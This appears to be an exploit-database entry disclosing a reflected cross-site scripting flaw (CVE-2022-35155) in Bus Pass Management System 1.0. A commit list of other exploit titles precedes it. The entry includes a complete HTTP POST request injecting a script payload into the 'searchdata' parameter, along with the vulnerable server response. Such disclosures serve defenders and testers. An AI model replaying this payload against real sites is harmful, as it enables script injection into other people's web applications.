79023d1f9c
22 changes to exploits/shellcodes/ghdb Password Manager for IIS v2.0 - XSS DLink DIR 819 A1 - Denial of Service D-Link DNR-322L <=2.60B15 - Authenticated Remote Code Execution Abantecart v1.3.2 - Authenticated Remote Code Execution Bus Pass Management System 1.0 - Cross-Site Scripting (XSS) Composr-CMS Version <=10.0.39 - Authenticated Remote Code Execution Employee Performance Evaluation System v1.0 - File Inclusion and RCE GuppY CMS v6.00.10 - Remote Code Execution Human Resources Management System v1.0 - Multiple SQLi ImpressCMS v1.4.3 - Authenticated SQL Injection Lavalite v9.0.0 - XSRF-TOKEN cookie File path traversal MODX Revolution v2.8.3-pl - Authenticated Remote Code Execution NEX-Forms WordPress plugin < 7.9.7 - Authenticated SQLi Online Diagnostic Lab Management System v1.0 - Remote Code Execution (RCE) (Unauthenticated) PHPGurukul Online Birth Certificate System V 1.2 - Blind XSS SimpleMachinesForum v2.1.1 - Authenticated Remote Code Execution Translatepress Multilinugal WordPress plugin < 2.3.3 - Authenticated SQL Injection Yoga Class Registration System v1.0 - Multiple SQLi NVFLARE < 2.1.4 - Unsafe Deserialization due to Pickle _camp_ Raspberry Pi camera server 1.0 - Authentication Bypass System Mechanic v15.5.0.61 - Arbitrary Read/Write
63 lines
No EOL
2.3 KiB
Text
63 lines
No EOL
2.3 KiB
Text
# Exploit Title: Bus Pass Management System 1.0 - Cross-Site Scripting (XSS)
|
|
# Date: 2022-07-02
|
|
# Exploit Author: Ali Alipour
|
|
# Vendor Homepage: https://phpgurukul.com/bus-pass-management-system-using-php-and-mysql
|
|
# Software Link: https://phpgurukul.com/wp-content/uploads/2021/07/Bus-Pass-Management-System-Using-PHP-MySQL.zip
|
|
# Version: 1.0
|
|
# Tested on: Windows 10 Pro x64 - XAMPP Server
|
|
# CVE : CVE-2022-35155
|
|
|
|
|
|
#Issue Detail:
|
|
|
|
The value of the searchdata request parameter is copied into the HTML document as plain text between tags. The payload cyne7<script>alert(1)</script>yhltm was submitted in the searchdata parameter. This input was echoed unmodified in the application's response.
|
|
|
|
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
|
|
|
|
# Vulnerable page: /buspassms/download-pass.php
|
|
|
|
# Vulnerable Parameter: searchdata [ POST Data ]
|
|
|
|
#Request :
|
|
|
|
POST /buspassms/download-pass.php HTTP/1.1
|
|
Host: 127.0.0.1
|
|
Cookie: PHPSESSID=s5iomgj8g4gj5vpeeef6qfb0b3
|
|
Origin: https://127.0.0.1
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
|
Upgrade-Insecure-Requests: 1
|
|
Referer: https://127.0.0.1/buspassms/download-pass.php
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Accept-Encoding: gzip, deflate
|
|
Accept-Language: en-US;q=0.9,en;q=0.8
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
|
|
Connection: close
|
|
Cache-Control: max-age=0
|
|
Content-Length: 25
|
|
|
|
searchdata=966196cyne7%3cscript%3ealert(1)%3c%2fscript%3eyhltm&search=
|
|
|
|
|
|
|
|
#Response :
|
|
|
|
HTTP/1.1 200 OK
|
|
Date: Fri, 01 Jul 2022 00:14:25 GMT
|
|
Server: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.8
|
|
X-Powered-By: PHP/7.4.8
|
|
Expires: Thu, 19 Nov 1981 08:52:00 GMT
|
|
Cache-Control: no-store, no-cache, must-revalidate
|
|
Pragma: no-cache
|
|
Content-Length: 6425
|
|
Connection: close
|
|
Content-Type: text/html; charset=UTF-8
|
|
|
|
<!DOCTYPE html>
|
|
<html lang="en">
|
|
<head>
|
|
<title>Bus Pass Management System || Pass Page</title>
|
|
|
|
<script type="application/x-javascript"> addEventListener("load", function() { setTimeout(hideURLba
|
|
...[SNIP]...
|
|
<h4 style="padding-bottom: 20px;">Result against "966196cyne7<script>alert(1)</script>yhltm" keyword </h4>
|
|
...[SNIP]... |